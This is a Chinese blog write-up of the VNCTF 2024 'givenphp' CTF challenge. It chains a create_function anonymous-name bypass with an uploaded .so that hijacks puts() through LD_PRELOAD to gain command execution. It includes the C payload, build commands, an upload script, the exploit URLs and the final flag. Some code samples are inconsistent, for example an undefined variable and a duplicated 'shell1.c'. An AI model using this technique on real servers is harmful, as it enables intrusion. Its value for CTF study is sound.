VNCTF 2024 givenphp 复现

VNCTF 2024 givenphp 复现

参考:

VNCTF2024-writeup (qq.com)

WP参考:

VNCTF2024 Writeup | TEL (l1nyz-tel.cc)

VNCTF官方WP

场景:

image-20240221145642531

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
handleFileUpload($_FILES['file']);
}

if(isset($_GET['challenge'])){
waf();
$value=$_GET['value'];
$key=$_GET['key'];
$func=create_function("","putenv('$key=$value');");
if($func==$_GET['guess']){
$func();
system("whoami");
}
}
function waf()
{
if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
die("evil input!!!");
}
}
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';

if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);

$newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
$destination = $uploadDirectory . $newFileName;
if (move_uploaded_file($file['tmp_name'], $destination)) {
echo $destination;
} else {
echo '文件移动失败。';
}
}

代码审计:

第一部分,文件上传:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//如果upload不为空
if(isset($_POST['upload'])){
//运行文件上传函数
handleFileUpload($_FILES['file']);
}

function handleFileUpload($file)
{
//定义文件上传的保存路径
$uploadDirectory = '/tmp/';
//判断文件有没有上传成功
if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);
//加密文件名
$newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
//设置文件路径
$destination = $uploadDirectory . $newFileName;
//将文件内容放入目标路径中
if (move_uploaded_file($file['tmp_name'], $destination)) {
echo $destination;
} else {
echo '文件移动失败。';
}
}

文件上传脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>

<head>
<title>文件上传</title>
</head>

<body>
<h1>文件上传</h1>
<form action="http://19c90892-eadf-418f-b690-60b43e4945e6.vnctf2024.manqiu.top/" method="post" enctype="multipart/form-data">
<input type="file" name="file" required><br><br>
<input type="submit" name="upload" value="上传">
</form>
</body>

</html>

image-20240221154902428

直接上传我们的木马文件:

image-20240221155021714

上传文件响应结果:

image-20240221155149824

由于这个tmp文件夹存在于网站的根目录中,所以我们直接使用网站是没有权限访问到根目录中的

第二部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if(isset($_GET['challenge'])){
//过滤
waf();
//获取value和key的值
$value=$_GET['value'];
$key=$_GET['key'];
//自定义函数:创建一个函数,不用1传参,函数中的执行代码为putenv('$key=$value');
//putenv('$key=$value');为环境变量设置
$func=create_function("","putenv('$key=$value');");
//获取guess传参值,与自定函数名进行比较
if($func==$_GET['guess']){
//运行自定义函数
$func();
//返回当前用户的用户名
system("whoami");
}
}
//对传的key和value值进行过滤拦截
function waf()
{
//过滤字符串: ' " % ( ) ; bash
if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
die("evil input!!!");
}
}

create_function()匿名函数名绕过:

参考:

SUCTF 2018——Anonymous(php匿名函数 \x00lambda_) - 淚笑 - 博客园 (cnblogs.com)

分析:

1
%00lambda_{x},每次触发一次create_function,x就+1,所以可以用Python脚本或BP爆破函数名,但是还有一种方式是,每次重新启动环境就可以刷新脚本,所以再次调用该函数又是从%00lambda_1开始。

搭建测试环境(php版本为5.4):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
if(isset($_GET['challenge'])){
$func=create_function("","echo 'guess is right!!!';");
echo $_GET['guess'];
var_dump($func);
echo ($func==$_GET['guess']);
if($func==$_GET['guess']){
$func();
echo "win!!!";
}else{
echo "no!!!";
}
}

image-20240221172846699

使用BP爆破测试绕过:

image-20240221173043586

image-20240221172918654

payload测试:

1
?challenge=1&guess=%00lambda_3

image-20240221173153380

重新开启题目环境进行测试:

payload:

1
?guess=%00lambda_1&challenge=1

image-20240221173414469

成功回显当前用户信息:www-data

环境变量注入_LD_PRELOAD RCE:

参考:

LD_PRELOAD劫持、ngixn临时文件、无需临时文件rce、php filter chain构造_php ld_preload-CSDN博客

关于环境变量LD_PRELOAD的利用 | ZIKH26’s Blog

我是如何利用环境变量注入执行任意命令 - 跳跳糖 (tttang.com)

原理:

1
LD_PRELOAD是用于动态链接库的加载,在动态链接库的过程中他的优先级是最高的,所以我们可以重写一些进程会调用的内部函数,然后用它链接我们的.so文件,这样进程在调用函数的时候,就会优先调用我们重写的函数(该链接会在进程结束时一起结束),如果我们重写的函数为恶意的函数,那么就可以进行rce。

image-20240223155800855

由于$func();这句代码被执行了,才能成功链接我们的文件,所以这串代码中我们只能选择跟进system(“whoami”);会调用的默认的内部函数,找出这些内部函数然后重写它们。

查看一下whoami调用了哪些静态链接库:

1
ltrace whoami

image-20240223163631269

我们可以知道strrchr(),geteuid(),puts()等函数

这里我们选择重写puts()函数:

puts函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include<stdlib.h>
int puts(const char *message)
{
int i = 0;
while(string[i]) //standard c idiom for looping through a null-terminated string
{
if( putchar(string[i]) == EOF) //if we got the EOF value from writing the char
{
return EOF;
}
i++;
}
if(putchar('\n') == EOF) //this will occur right after we quit due to the null terminated character.
{
return EOF;
}
return 1; //to meet spec.
}

重写puts()函数:

重写模板:定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等

1
2
3
4
5
6
7
#include <stdio.h>
#include<stdlib.h>
int puts(const char *message)
{
(xxxx源码内容)
return 0; //to meet spec.
}

shell.c:

1
2
3
4
5
6
7
#include <stdio.h>
#include<stdlib.h>
int puts(const char *message)
{
system("ls /");
return 0;
}

创建一个shell.c文件:

本地的ip地址:

shell.c:

1
2
3
4
5
#include <stdio.h>
#include<stdlib.h>
int puts(const char *message){
system("ls /");return 0;
}

image-20240221235805665

将shell.c文件编译为shell.so文件:

1
2
3
gcc -shared -fPIC shell.c -o shell.so

gcc shell.c -o shell.so -shared -fPIC -w

image-20240221224305296

上传我们的shell.so文件到目标网站:

文件上传.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

def upload_file(url, file_path):
data = {
"upload": 1
}
files = {'file': open(file_path, 'rb')}
response = requests.post(url, data=data, files=files)

return response

# 指定网址和文件路径
url = "http://cf52f4a8-1de5-4eb4-b95f-ca195ac0ef58.vnctf2024.manqiu.top/"
file_path = "C:/Users/DELL/Desktop/webshell/shell.so" # 替换为你要上传的文件路径

# 执行上传
response = upload_file(url, file_path)

# 处理响应
if response.status_code == 200:
print("文件上传成功!")
print(response.text)
else:
print("文件上传失败。")

输出:

image-20240222000032389

文件路径:

1
/tmp/uploaded_file_65d61dfd83b1f7.07552476.so

LD_PRELOAD劫持puts函数实现RCE:

payload:

1
?challenge=1&key=LD_PRELOAD&value=/tmp/uploaded_file_65d61dfd83b1f7.07552476.so&guess=%00lambda_1

响应结果:

image-20240222000122923

发现flag相关文件:flag_is_h3eeere

再写一个shell1.c用于打开文件:

shell1.c:

1
2
3
4
5
#include <stdio.h>
#include<stdlib.h>
int puts(const char *message){
system("ls /");return 0;
}

image-20240222000448410

将shell1.c文件编译为shell1.so文件:

image-20240222000547830

上传我们的shell1.so文件到目标网站:

image-20240222002258287

文件保存路径:

1
/tmp/uploaded_file_65d623583d3fc2.25975507.so

再次使用LD_PRELOAD劫持puts函数实现RCE:

payload:

1
?challenge=1&key=LD_PRELOAD&value=/tmp/uploaded_file_65d623583d3fc2.25975507.so&guess=%00lambda_1

image-20240222002344939

flag=vnctf{aa184b19-bcae-4dc4-bd48-0b4de3efb8af}


VNCTF 2024 givenphp 复现
http://example.com/2024/02/25/2024-2-25-VNCTF 2024 givenphp 复现/
作者
South
发布于
2024年2月25日
许可协议